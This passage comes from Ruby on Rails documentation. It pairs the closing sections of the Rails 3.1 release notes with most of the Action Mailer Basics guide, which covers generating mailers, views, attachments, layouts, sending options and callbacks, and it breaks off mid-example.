* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.

* rhtml and rxml are finally removed as template handlers.

* `config.action_view.cache_template_loading` is brought back which allows to decide whether templates should be cached or not.

* The submit form helper does not generate an id "object\_name\_id" anymore.

* Allows `FormHelper#form_for` to specify the `:method` as a direct option instead of through the `:html` hash. `form_for(@post, remote: true, method: :delete)` instead of `form_for(@post, remote: true, html: { method: :delete })`.

* Provided `JavaScriptHelper#j()` as an alias for `JavaScriptHelper#escape_javascript()`. This supersedes the `Object#j()` method that the JSON gem adds within templates using the JavaScriptHelper.

* Allows AM/PM format in datetime selectors.

* `auto_link` has been removed from Rails and extracted into the [rails\_autolink gem](https://github.com/tenderlove/rails_autolink)

## [6. Active Record](#active-record)

* Added a class method `pluralize_table_names` to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through `ActiveRecord::Base.pluralize_table_names`.

  ```
  class User < ActiveRecord::Base
    self.pluralize_table_names = false
  end
  ```

* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.

  ```
  class User < ActiveRecord::Base
    has_one :account
  end

  user.build_account{ |a| a.credit_limit = 100.0 }
  ```

* Added `ActiveRecord::Base.attribute_names` to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.

* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.

* `ActiveRecord#new`, `ActiveRecord#create` and `ActiveRecord#update_attributes` all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:

  ```
  class Post < ActiveRecord::Base
    attr_accessible :title
    attr_accessible :title, :published_at, :as => :admin
  end

  Post.new(params[:post], :as => :admin)
  ```

* `default_scope` can now take a block, lambda, or any other object which responds to call for lazy evaluation.

* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.

* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.

* `ConnectionManagement` middleware is changed to clean up the connection pool after the rack body has been flushed.

* Added an `update_column` method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use `update_attributes` or `update_attribute` unless you are sure you do not want to execute any callback, including the modification of the `updated_at` column. It should not be called on new records.

* Associations with a `:through` option can now use any association as the through or source association, including other associations which have a `:through` option and `has_and_belongs_to_many` associations.

* The configuration for the current database connection is now accessible via `ActiveRecord::Base.connection_config`.

* limits and offsets are removed from COUNT queries unless both are supplied.

  ```
  People.limit(1).count           # => 'SELECT COUNT(*) FROM people'
  People.offset(1).count          # => 'SELECT COUNT(*) FROM people'
  People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
  ```

* `ActiveRecord::Associations::AssociationProxy` has been split. There is now an `Association` class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called `CollectionProxy`, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.

* Singular associations (`has_one`, `belongs_to`) no longer have a proxy and simply returns the associated record or `nil`. This means that you should not use undocumented methods such as `bob.mother.create` - use `bob.create_mother` instead.

* Support the `:dependent` option on `has_many :through` associations. For historical and practical reasons, `:delete_all` is the default deletion strategy employed by `association.delete(*records)`, despite the fact that the default strategy is `:nullify` for regular has\_many. Also, this only works at all if the source reflection is a belongs\_to. For other situations, you should directly modify the through association.

* The behavior of `association.destroy` for `has_and_belongs_to_many` and `has_many :through` is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.

* Previously, `has_and_belongs_to_many.destroy(*records)` would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.

* Previously, `has_many_through.destroy(*records)` would destroy the records themselves, and the records in the join table. \[Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.

* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do `records.association.each(&:destroy)`.

* Add `:bulk => true` option to `change_table` to make all the schema changes defined in a block using a single ALTER statement.

  ```
  change_table(:users, :bulk => true) do |t|
    t.string :company_name
    t.change :birthdate, :datetime
  end
  ```

* Removed support for accessing attributes on a `has_and_belongs_to_many` join table. `has_many :through` needs to be used.

* Added a `create_association!` method for `has_one` and `belongs_to` associations.

* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the `change` method.

  ```
  class MyMigration < ActiveRecord::Migration
    def change
      create_table(:horses) do |t|
        t.column :content, :text
        t.column :remind_at, :datetime
      end
    end
  end
  ```

* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define `up` and `down` in your migration. If you define something in change that cannot be reversed, an `IrreversibleMigration` exception will be raised when going down.

* Migrations now use instance methods rather than class methods:

  ```
  class FooMigration < ActiveRecord::Migration
    def up # Not self.up
      # ...
    end
  end
  ```

* Migration files generated from model and constructive migration generators (for example, add\_name\_to\_users) use the reversible migration's `change` method instead of the ordinary `up` and `down` methods.

* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.

  ```
  has_many :things, :conditions => 'foo = #{bar}'          # before
  has_many :things, :conditions => proc { "foo = #{bar}" } # after
  ```

  Inside the proc, `self` is the object which is the owner of the association, unless you are eager loading the association, in which case `self` is the class which the association is within.

  You can have any "normal" conditions inside the proc, so the following will work too:

  ```
  has_many :things, :conditions => proc { ["foo = ?", bar] }
  ```

* Previously `:insert_sql` and `:delete_sql` on `has_and_belongs_to_many` association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.

* Added `ActiveRecord::Base#has_secure_password` (via `ActiveModel::SecurePassword`) to encapsulate dead-simple password usage with BCrypt encryption and salting.

  ```
  # Schema: User(name:string, password_digest:string, password_salt:string)
  class User < ActiveRecord::Base
    has_secure_password
  end
  ```

* When a model is generated `add_index` is added by default for `belongs_to` or `references` columns.

* Setting the id of a `belongs_to` object will update the reference to the object.

* `ActiveRecord::Base#dup` and `ActiveRecord::Base#clone` semantics have changed to closer match normal Ruby dup and clone semantics.

* Calling `ActiveRecord::Base#clone` will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.

* Calling `ActiveRecord::Base#dup` will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return `true` for `new_record?`, have a `nil` id field, and is saveable.

* The query cache now works with prepared statements. No changes in the applications are required.

## [7. Active Model](#active-model)

* `attr_accessible` accepts an option `:as` to specify a role.

* `InclusionValidator`, `ExclusionValidator`, and `FormatValidator` now accepts an option which can be a proc, a lambda, or anything that respond to `call`. This option will be called with the current record as an argument and returns an object which respond to `include?` for `InclusionValidator` and `ExclusionValidator`, and returns a regular expression object for `FormatValidator`.

* Added `ActiveModel::SecurePassword` to encapsulate dead-simple password usage with BCrypt encryption and salting.

* `ActiveModel::AttributeMethods` allows attributes to be defined on demand.

* Added support for selectively enabling and disabling observers.

* Alternate `I18n` namespace lookup is no longer supported.

## [8. Active Resource](#active-resource)

* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. For example,

  ```
  class User < ActiveResource::Base
    self.format = :xml
  end
  ```

## [9. Active Support](#active-support)

* `ActiveSupport::Dependencies` now raises `NameError` if it finds an existing constant in `load_missing_constant`.

* Added a new reporting method `Kernel#quietly` which silences both `STDOUT` and `STDERR`.

* Added `String#inquiry` as a convenience method for turning a String into a `StringInquirer` object.

* Added `Object#in?` to test if an object is included in another object.

* `LocalCache` strategy is now a real middleware class and no longer an anonymous class.

* `ActiveSupport::Dependencies::ClassCache` class has been introduced for holding references to reloadable classes.

* `ActiveSupport::Dependencies::Reference` has been refactored to take direct advantage of the new `ClassCache`.

* Backports `Range#cover?` as an alias for `Range#include?` in Ruby 1.8.

* Added `weeks_ago` and `prev_week` to Date/DateTime/Time.

* Added `before_remove_const` callback to `ActiveSupport::Dependencies.remove_unloadable_constants!`.

Deprecations:

* `ActiveSupport::SecureRandom` is deprecated in favor of `SecureRandom` from the Ruby standard library.

## [10. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev)

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/action_mailer_basics.html
----

***

## [1. What is Action Mailer?](#what-is-action-mailer-questionmark)

Action Mailer allows you to send emails from your Rails application. It's one of the two email related components in the Rails framework. The other is [Action Mailbox](action_mailbox_basics.html), which deals with *receiving* emails.

Action Mailer uses classes (called "mailers") and views to create and configure the email to send. Mailers are classes that inherit from [`ActionMailer::Base`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/Base.html). Mailer classes are similar to controller classes. Both have:

* Instance variables that are accessible in views.
* The ability to use layouts and partials.
* The ability to access a params hash.
* Actions and associated views in `app/views`.

## [2. Creating a Mailer and Views](#creating-a-mailer-and-views)

This section will provide a step-by-step guide to sending email with Action Mailer. Here are the details of each step.

### [2.1. Generate the Mailer](#generate-the-mailer)

First, you use the "mailer" generator to create the Mailer related classes:

```
$ bin/rails generate mailer User
create  app/mailers/user_mailer.rb
invoke  erb
create    app/views/user_mailer
invoke  test_unit
create    test/mailers/user_mailer_test.rb
create    test/mailers/previews/user_mailer_preview.rb
```

Like the `UserMailer` below, all generated Mailer classes inherit from `ApplicationMailer`:

```
# app/mailers/user_mailer.rb
class UserMailer < ApplicationMailer
end
```

The `ApplicationMailer` class inherits from `ActionMailer::Base`, and can be used to define attributes common to all Mailers:

```
# app/mailers/application_mailer.rb
class ApplicationMailer < ActionMailer::Base
  default from: "from@example.com"
  layout "mailer"
end
```

If you don't want to use a generator, you can also manually add a file to the `app/mailers` directory. Make sure that your class inherits from `ApplicationMailer`:

```
# app/mailers/custom_mailer.rb
class CustomMailer < ApplicationMailer
end
```

### [2.2. Edit the Mailer](#edit-the-mailer)

The `UserMailer` in `app/mailers/user_mailer.rb` initially doesn't have any methods. So next, we add methods (aka actions) to the mailer that will send specific emails.

Mailers have methods called "actions" and they use views to structure their content, similar to controllers. While a controller generates HTML content to send back to the client, a Mailer creates a message to be delivered via email.

Let's add a method called `welcome_email` to the `UserMailer`, that will send an email to the user's registered email address:

```
class UserMailer < ApplicationMailer
  default from: "notifications@example.com"

  def welcome_email
    @user = params[:user]
    @url  = "http://example.com/login"
    mail(to: @user.email, subject: "Welcome to My Awesome Site")
  end
end
```

The method names in mailers do not have to end in `_email`.

Here is a quick explanation of the Mailer related methods used above:

* The [`default`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/Base.html#method-c-default) method sets default values for all emails sent from *this* mailer. In this case, we use it to set the `:from` header value for all messages in this class. This can be overridden on a per-email basis.
* The [`mail`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/Base.html#method-i-mail) method creates the actual email message. We use it to specify the values of headers like `:to` and `:subject` per email.

There is also the [`headers`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/Base.html#method-i-headers) method (not used above), which is used to specify email headers with a hash or by calling `headers[:field_name] = 'value'`.

It is possible to specify an action directly while using the generator like this:

```
$ bin/rails generate mailer User welcome_email
```

The above will generate the `UserMailer` with an empty `welcome_email` method.

You can also send multiple emails from a single mailer class. It can be convenient to group related emails together. For example, the above `UserMailer` can have a `goodbye_email` (and corresponding view) in addition to the `welcome_email`.

### [2.3. Create a Mailer View](#create-a-mailer-view)

Next, for the `welcome_email` action, you'll need to create a matching view in a file called `welcome_email.html.erb` in the `app/views/user_mailer/` directory. Here is a sample HTML template that can be used for the welcome email:

```
<h1>Welcome to example.com, <%= @user.name %></h1>
<p>
  You have successfully signed up to example.com,
  your username is: <%= @user.login %>.<br>
</p>
<p>
  To log in to the site, just follow this link: <%= link_to 'login', login_url %>.
</p>
<p>Thanks for joining and have a great day!</p>
```

The above is the content of the `<body>` tag. It will be embedded in the default mailer layout, which contains the `<html>` tag. See [Mailer layouts](#mailer-views-and-layouts) for more.

You can also create a text version of the above email and store it in `welcome_email.text.erb` in the `app/views/user_mailer/` directory (notice the `.text.erb` extension vs. the `html.erb`). Sending both formats is considered best practice because, in case of HTML rendering issues, the text version can serve as a reliable fallback. Here is a sample text email:

```
Welcome to example.com, <%= @user.name %>
===============================================

You have successfully signed up to example.com,
your username is: <%= @user.login %>.

To log in to the site, just follow this link: <%= @url %>.

Thanks for joining and have a great day!
```

Notice that in both HTML and text email templates you can use the instance variables `@user` and `@url`.

Now, when you call the `mail` method, Action Mailer will detect the two templates (text and HTML) and automatically generate a `multipart/alternative` email.

### [2.4. Call the Mailer](#call-the-mailer)

Once you have a mailer class and view set up, the next step is to actually call the mailer method that renders the email view (i.e. sends the email). Mailers can be thought of as another way of rendering views. Controller actions render a view to be sent over the HTTP protocol. Mailer actions render a view and send it through email protocols instead.

Let's see an example of using the `UserMailer` to send a welcome email when a user is successfully created.

First, let's create a `User` scaffold:

```
$ bin/rails generate scaffold user name email login
$ bin/rails db:migrate
```

Next, we edit the `create` action in the `UserController` to send a welcome email when a new user is created. We do this by inserting a call to `UserMailer.with(user: @user).welcome_email` right after the user is successfully saved.

We use [`deliver_later`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/MessageDelivery.html#method-i-deliver_later) to enqueue the email to be sent later. This way, the controller action will continue without waiting for the email sending code to run. The `deliver_later` method is backed by [Active Job](active_job_basics.html#action-mailer).

```
class UsersController < ApplicationController
  # ...

  def create
    @user = User.new(user_params)

    respond_to do |format|
      if @user.save
        # Tell the UserMailer to send a welcome email after save
        UserMailer.with(user: @user).welcome_email.deliver_later

        format.html { redirect_to user_url(@user), notice: "User was successfully created." }
        format.json { render :show, status: :created, location: @user }
      else
        format.html { render :new, status: :unprocessable_entity }
        format.json { render json: @user.errors, status: :unprocessable_entity }
      end
    end
  end

  # ...
end
```

Any key-value pair passed to [`with`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/Parameterized/ClassMethods.html#method-i-with) becomes the `params` for the Mailer action. For example, `with(user: @user, account: @user.account)` makes `params[:user]` and `params[:account]` available in the Mailer action.

With the above mailer, view, and controller set up, if you create a new `User`, you can examine the logs to see the welcome email being sent. The log file will show the text and HTML versions being sent, like this:

```
[ActiveJob] [ActionMailer::MailDeliveryJob] [ec4b3786-b9fc-4b5e-8153-9153095e1cbf] Delivered mail 6661f55087e34_1380c7eb86934d@Bhumis-MacBook-Pro.local.mail (19.9ms)
[ActiveJob] [ActionMailer::MailDeliveryJob] [ec4b3786-b9fc-4b5e-8153-9153095e1cbf] Date: Thu, 06 Jun 2024 12:43:44 -0500
From: notifications@example.com
To: test@gmail.com
Message-ID: <6661f55087e34_1380c7eb86934d@Bhumis-MacBook-Pro.local.mail>
Subject: Welcome to My Awesome Site
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="--==_mimepart_6661f55086194_1380c7eb869259";
 charset=UTF-8
Content-Transfer-Encoding: 7bit


----==_mimepart_6661f55086194_1380c7eb869259
Content-Type: text/plain;

...

----==_mimepart_6661f55086194_1380c7eb869259
Content-Type: text/html;

...
```

You can also call the mailer from the Rails console and send emails, perhaps useful as a test before you have a controller action set up. The below will send the same `welcome_email` as above:

```
irb> user = User.first
irb> UserMailer.with(user: user).welcome_email.deliver_later
```

If you want to send emails right away (from a cronjob for example) you can call [`deliver_now`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/MessageDelivery.html#method-i-deliver_now):

```
class SendWeeklySummary
  def run
    User.find_each do |user|
      UserMailer.with(user: user).weekly_summary.deliver_now
    end
  end
end
```

A method like `weekly_summary` from `UserMailer` would return an [`ActionMailer::MessageDelivery`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/MessageDelivery.html) object, which has the methods `deliver_now` or `deliver_later` to send itself now or later. The `ActionMailer::MessageDelivery` object is a wrapper around a [`Mail::Message`](https://api.rubyonrails.org/v8.1.4/classes/Mail/Message.html). If you want to inspect, alter, or do anything else with the `Mail::Message` object you can access it with the [`message`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/MessageDelivery.html#method-i-message) method on the `ActionMailer::MessageDelivery` object.

Here is an example of the `MessageDelivery` object from the Rails console example above:

```
irb> UserMailer.with(user: user).weekly_summary
#<ActionMailer::MailDeliveryJob:0x00007f84cb0367c0
 @_halted_callback_hook_called=nil,
 @_scheduled_at_time=nil,
 @arguments=
  ["UserMailer",
   "welcome_email",
   "deliver_now",
   {:params=>
     {:user=>
       #<User:0x00007f84c9327198
        id: 1,
        name: "Bhumi",
        email: "hi@gmail.com",
        login: "Bhumi",
        created_at: Thu, 06 Jun 2024 17:43:44.424064000 UTC +00:00,
        updated_at: Thu, 06 Jun 2024 17:43:44.424064000 UTC +00:00>},
    :args=>[]}],
 @exception_executions={},
 @executions=0,
 @job_id="07747748-59cc-4e88-812a-0d677040cd5a",
 @priority=nil,
```

## [3. Multipart Emails and Attachments](#multipart-emails-and-attachments)

The `multipart` MIME type represents a document that's comprised of multiple component parts, each of which may have its own individual MIME type (such as the `text/html` and `text/plain`). The `multipart` type encapsulates sending multiple files together in one transaction such as attaching multiple files to an email for example.

### [3.1. Adding Attachments](#adding-attachments)

You can add an attachment with Action Mailer by passing the file name and content to the [attachments method](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/Base.html#method-i-attachments). Action Mailer will automatically guess the `mime_type`, set the `encoding`, and create the attachment.

```
attachments["filename.jpg"] = File.read("/path/to/filename.jpg")
```

When the `mail` method is triggered, it will send a multipart email with an attachment, properly nested with the top level being `multipart/mixed` and the first part being a `multipart/alternative` containing the plain text and HTML email messages.

The other way to send attachments is to specify the file name, MIME-type and encoding headers, and content. Action Mailer will use the settings you pass in.

```
encoded_content = SpecialEncode(File.read("/path/to/filename.jpg"))
attachments["filename.jpg"] = {
  mime_type: "application/gzip",
  encoding: "SpecialEncoding",
  content: encoded_content
}
```

Action Mailer will automatically Base64 encode an attachment. If you want something different, you can encode your content and pass in the encoded content as well as the encoding in a `Hash` to the `attachments` method. If you specify an encoding, Action Mailer will not try to Base64 encode the attachment.

### [3.2. Making Inline Attachments](#making-inline-attachments)

Sometimes, you may want to send an attachment (e.g. image) inline, so it appears within the email body.

In order to do this, first, you turn an attachment into an inline attachment by calling `#inline`:

```
def welcome
  attachments.inline["image.jpg"] = File.read("/path/to/image.jpg")
end
```

Then in the view, you can reference `attachments` as a hash and specify the file you want to show inline. You can call `url` on the hash and pass the result into the [`image_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag) method:

```
<p>Hello there, this is the image you requested:</p>

<%= image_tag attachments['image.jpg'].url %>
```

Since this is a standard call to `image_tag` you can pass in an options hash after the attachment URL as well:

```
<p>Hello there, this is our image</p>

<%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %>
```

### [3.3. Multipart Emails](#multipart-emails)

As demonstrated in [Create a Mailer View](#create-a-mailer-view), Action Mailer will automatically send multipart emails if you have different templates for the same action. For example, if you have a `UserMailer` with `welcome_email.text.erb` and `welcome_email.html.erb` in `app/views/user_mailer`, Action Mailer will automatically send a multipart email with both the HTML and text versions included as separate parts.

The [Mail](https://github.com/mikel/mail) gem has helper methods for making a `multipart/alternate` email for `text/plain` and `text/html` [MIME types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) and you can manually create any other type of MIME email.

The order of the parts getting inserted is determined by the `:parts_order` inside of the `ActionMailer::Base.default` method.

Multipart is also used when you send attachments with email.

## [4. Mailer Views and Layouts](#mailer-views-and-layouts)

Action Mailer uses view files to specify the content to be sent in emails. Mailer views are located in the `app/views/name_of_mailer_class` directory by default. Similar to a controller view, the name of the file matches the name of the mailer method.

Mailer views are rendered within a layout, similar to controller views. Mailer layouts are located in `app/views/layouts`. The default layout is `mailer.html.erb` and `mailer.text.erb`. This section covers various features around mailer views and layouts.

### [4.1. Configuring Custom View Paths](#configuring-custom-view-paths)

It is possible to change the default mailer view for your action in various ways, as shown below.

There are `template_path` and `template_name` options to the `mail` method:

```
class UserMailer < ApplicationMailer
  default from: "notifications@example.com"

  def welcome_email
    @user = params[:user]
    @url  = "http://example.com/login"
    mail(to: @user.email,
         subject: "Welcome to My Awesome Site",
         template_path: "notifications",
         template_name: "hello")
  end
end
```

The above configures the `mail` method to look for a template with the name `hello` in the `app/views/notifications` directory. You can also specify an array of paths for `template_path`, and they will be searched in order.

If you need more flexibility, you can also pass a block and render a specific template. You can also render plain text inline without using a template file:

```
class UserMailer < ApplicationMailer
  default from: "notifications@example.com"

  def welcome_email
    @user = params[:user]
    @url  = "http://example.com/login"
    mail(to: @user.email,
         subject: "Welcome to My Awesome Site") do |format|
      format.html { render "another_template" }
      format.text { render plain: "hello" }
    end
  end
end
```

This will render the template `another_template.html.erb` for the HTML part and "hello" for the text part. The [render](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Rendering.html#method-i-render) method is the same one used inside of Action Controller, so you can use all the same options, such as `:plain`, `:inline`, etc.

Lastly, if you need to render a template located outside of the default `app/views/mailer_name/` directory, you can apply the [`prepend_view_path`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/ViewPaths/ClassMethods.html#method-i-prepend_view_path), like so:

```
class UserMailer < ApplicationMailer
  prepend_view_path "custom/path/to/mailer/view"

  # This will try to load "custom/path/to/mailer/view/welcome_email" template
  def welcome_email
    # ...
  end
end
```

There is also an [`append_view_path`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/ViewPaths/ClassMethods.html#method-i-append_view_path) method.

### [4.2. Generating URLs in Action Mailer Views](#generating-urls-in-action-mailer-views)

In order to add URLs to your mailer, you need to set the `host` value to your application's domain first. This is because, unlike controllers, the mailer instance doesn't have any context about the incoming request.

You can configure the default `host` across the application in `config/application.rb`:

```
config.action_mailer.default_url_options = { host: "example.com" }
```

Once the `host` is configured, it is recommended that email views use the `*_url` with the full URL, and not the `*_path` helpers with relative URL. Since email clients do not have web request context, `*_path` helpers have no base URL to form complete web addresses.

For example, instead of:

```
<%= link_to 'welcome', welcome_path %>
```

Use:

```
<%= link_to 'welcome', welcome_url %>
```

By using the full URL, your links will work correctly in your emails.

#### [4.2.1. Generating URLs with `url_for`](#generating-urls-with-url-for)

The [`url_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/RoutingUrlFor.html#method-i-url_for) helper generates a full URL, by default, in templates.

If you haven't configured the `:host` option globally, you'll need to pass it to `url_for`.

```
<%= url_for(host: 'example.com',
            controller: 'welcome',
            action: 'greeting') %>
```

#### [4.2.2. Generating URLs with Named Routes](#generating-urls-with-named-routes)

Similar to other URLs, you need to use the `*_url` variant of named route helpers in emails as well.

You either configure the `:host` option globally or make sure to pass it to the URL helper:

```
<%= user_url(@user, host: 'example.com') %>
```

### [4.3. Adding Images in Action Mailer Views](#adding-images-in-action-mailer-views)

In order to use the `image_tag` helper in emails, you need to specify the `:asset_host` parameter. This is because a mailer instance doesn't have any context about the incoming request.

Usually the `:asset_host` is consistent across the application, so you can configure it globally in `config/application.rb`:

```
config.action_mailer.asset_host = "http://example.com"
```

Because we can't infer the protocol from the request, you'll need to specify a protocol such as `http://` or `https://` in the `:asset_host` config.

Now you can display an image inside your email.

```
<%= image_tag 'image.jpg' %>
```

### [4.4. Caching Mailer View](#caching-mailer-view)

You can perform fragment caching in mailer views, similar to application views, using the [`cache`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/CacheHelper.html#method-i-cache) method.

```
<% cache do %>
  <%= @company.name %>
<% end %>
```

And to use this feature, you need to enable it in your application's `config/environments/*.rb` file:

```
config.action_mailer.perform_caching = true
```

Fragment caching is also supported in multipart emails. Read more about caching in the [Rails caching guide](caching_with_rails.html).

### [4.5. Action Mailer Layouts](#action-mailer-layouts)

Just like controller layouts, you can also have mailer layouts. Mailer layouts are located in `app/views/layouts`. Here is the default layout:

```
# app/views/layouts/mailer.html.erb
<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style>
      /* Email styles need to be inline */
    </style>
  </head>

  <body>
    <%= yield %>
  </body>
</html>
```

The above layout is in a file `mailer.html.erb`. The default layout name is specified in the `ApplicationMailer`, as we saw earlier with the line `layout "mailer"` in the [Generate Mailer](#generate-the-mailer) section. Similar to controller layouts, you use `yield` to render the mailer view inside the layout.

To use a different layout for a given mailer, call [`layout`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Layouts/ClassMethods.html#method-i-layout):

```
class UserMailer < ApplicationMailer
  layout "awesome" # Use awesome.(html|text).erb as the layout
end
```

To use a specific layout for a given email, you can pass in a `layout: 'layout_name'` option to the render call inside the format block:

```
class UserMailer < ApplicationMailer
  def welcome_email
    mail(to: params[:user].email) do |format|
      format.html { render layout: "my_layout" }
      format.text
    end
  end
end
```

The above will render the HTML part using the `my_layout.html.erb` file and the text part with the usual `user_mailer.text.erb` file.

## [5. Sending Email](#sending-email)

### [5.1. Sending Email to Multiple Recipients](#sending-email-to-multiple-recipients)

It is possible to send an email to more than one recipient by setting the `:to` field to a list of email addresses. The list of emails can be an array or a single string with the addresses separated by commas.

For example, to inform all admins of a new registration:

```
class AdminMailer < ApplicationMailer
  default to: -> { Admin.pluck(:email) },
          from: "notification@example.com"

  def new_registration(user)
    @user = user
    mail(subject: "New User Signup: #{@user.email}")
  end
end
```

The same format can be used to add multiple carbon copy (cc) and blind carbon copy (bcc) recipients, by setting the `:cc` and `:bcc` keys respectively (similarly to the `:to` field).

### [5.2. Sending Email with Name](#sending-email-with-name)

It's possible to show the name, in addition to the email address, of the person who receives the email or sends the email.

To show the name of the person when they receive the email, you can use [`email_address_with_name`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/Base.html#method-i-email_address_with_name) method in `to:`:

```
def welcome_email
  @user = params[:user]
  mail(
    to: email_address_with_name(@user.email, @user.name),
    subject: "Welcome to My Awesome Site"
  )
end
```

The same method in `from:` works to display the name of the sender:

```
class UserMailer < ApplicationMailer
  default from: email_address_with_name("notification@example.com", "Example Company Notifications")
end
```

If the name is blank (`nil` or empty string), it returns the email address.

### [5.3. Sending Email with Subject Translation](#sending-email-with-subject-translation)

If you don't pass a subject to the mail method, Action Mailer will try to find it in your translations. See the [Internationalization Guide](i18n.html#action-mailer-e-mail-subjects) for more.

### [5.4. Sending Emails without Template Rendering](#sending-emails-without-template-rendering)

There may be cases in which you want to skip the template rendering step and instead supply the email body as a string. You can achieve this using the `:body` option. Remember to set the `:content_type` option, such as setting it to `text/html` below. Rails will default to `text/plain` as the content type.

```
class UserMailer < ApplicationMailer
  def welcome_email
    mail(to: params[:user].email,
         body: params[:email_body],
         content_type: "text/html",
         subject: "Already rendered!")
  end
end
```

### [5.5. Sending Emails with Dynamic Delivery Options](#sending-emails-with-dynamic-delivery-options)

If you wish to override the default delivery [configuration](#action-mailer-configuration) (e.g. SMTP credentials) while delivering emails, you can do this using `delivery_method_options` in the mailer action.

```
class UserMailer < ApplicationMailer
  def welcome_email
    @user = params[:user]
    @url  = user_url(@user)
    delivery_options = { user_name: params[:company].smtp_user,
                         password: params[:company].smtp_password,
                         address: params[:company].smtp_host }
    mail(to: @user.email,
         subject: "Please see the Terms and Conditions attached",
         delivery_method_options: delivery_options)
  end
end
```

## [6. Action Mailer Callbacks](#action-mailer-callbacks)

Action Mailer allows for you to specify `*_action` callbacks to configure the message, and `*_deliver` callbacks to control the delivery.

Here is a list with all the available Action Mailer callbacks, listed **in the order in which they will get called** when sending an email:

* [`before_action`](https://api.rubyonrails.org/v8.1.4/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action)
* [`around_action`](https://api.rubyonrails.org/v8.1.4/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action)
* [`after_action`](https://api.rubyonrails.org/v8.1.4/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action)
* [`before_deliver`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-before_deliver)
* [`around_deliver`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-around_deliver)
* [`after_deliver`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/Callbacks/ClassMethods.html#method-i-after_deliver)

Callbacks can be specified with a block or a symbol representing a method name in the mailer class, similar to other callbacks (in controllers or models).

Here are some examples of when you may use one of these callbacks with mailers.

### [6.1. `before_action`](#before-action)

You can use a `before_action` to set instance variables, populate the mail object with defaults, or insert default headers and attachments.

```
class InvitationsMailer < ApplicationMailer
  before_action :set_inviter_and_invitee
  before_action { @account = params[:inviter].account }

  default to:       -> { @invitee.email_address },
          from:     -> { common_address(@inviter) },
          reply_to: -> { @inviter.email_address_with_name }

  def account_invitation
    mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
  end

  def project_invitation
    @project    = params[:project]
    @summarizer = ProjectInvitationSummarizer.new(@project.bucket)

    mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})"
  end

  private
    def set_inviter_and_invitee
      @inviter = params[:inviter]
      @invitee = params[:invitee]
    end
end
```

### [6.2. `after_action`](#after-action)

You can use an `after_action` callback with a similar setup as a `before_action` but also have access to instance variables that were set in your mailer action.

You can also use an `after_action` to override delivery method settings by updating `mail.delivery_method.settings`.

```
class UserMailer < ApplicationMailer
  before_action { @business, @user = params[:business], params[:user] }

  after_action :set_delivery_options,
               :prevent_delivery_to_guests,
               :set_business_headers

  def feedback_message
  end

  def campaign_message
  end

  private
    def set_delivery_options
      # You have access to the mail instance,
      # @business and @user instance variables here
      if @business && @business.has_smtp_settings?
        mail.delivery_method.settings.merge!(@business.smtp_settings)
      end
